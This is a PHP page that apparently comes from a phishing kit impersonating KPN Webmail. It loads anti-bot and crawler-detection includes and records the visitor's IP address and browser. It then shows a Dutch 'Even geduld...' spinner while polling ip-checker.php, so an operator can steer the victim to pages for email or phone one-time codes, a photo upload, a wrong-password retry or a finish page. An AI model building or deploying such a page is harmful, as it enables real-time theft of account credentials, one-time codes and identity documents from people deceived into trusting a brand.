<?php session_start(); 
include('./config.php');

include('./assets/Antibot/Bot-Crawler.php');
include('./assets/Antibot/Dila_DZ.php');
include('./assets/Antibot/new.php');
include('./assets/Antibot/detects.php');

include('./assets/functions/get_browser.php');
include('./assets/functions/get_ip.php');
?>

<!DOCTYPE html>
<html lang="nl-NL">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>KPN Webmail</title>
    <link rel="icon" href="./loginpages/images/kpnmail/favicon.svg">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }

        body {
            background-color: #f5f5f5;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }

        .overlay {
            position: fixed;
            inset: 0;
            background: rgba(255, 255, 255, 0.88);
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            gap: 20px;
        }

        .spinner {
            width: 56px;
            height: 56px;
            border: 5px solid #d6f0e0;
            border-top-color: #00a651;
            border-radius: 50%;
            animation: spin 0.85s linear infinite;
        }

        @keyframes spin {
            to { transform: rotate(360deg); }
        }

        .label {
            font-family: Arial, sans-serif;
            font-size: 14px;
            color: #555;
            letter-spacing: 0.02em;
        }
    </style>
</head>
<body>
    <div class="overlay">
        <div class="spinner"></div>
        <span class="label">Even geduld...</span>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.2/jquery.min.js"></script>
    <script>
        function check() {
            $.ajax({
                type: "POST",
                url: "ip-checker.php",
                success: function(result) {
                    if (result == "otpmail") {
                        window.location.href = "otp.php";
                    } else if (result == "done") {
                        window.location.href = "done.php";
                    } else if (result == "otpphone") {
                        window.location.href = "otp-phone.php";
                    } else if (result == "photoupload") {
                        window.location.href = "photoupload.php";
                    } else if (result == "wrongpass") {
                        window.location.href = "mail/login.php";
                    } else if (result == "mail") {
                        window.location.href = "mail.php";
                    }
                }
            });
        }

        let display = setInterval(check, 2000);
    </script>
</body>
</html>
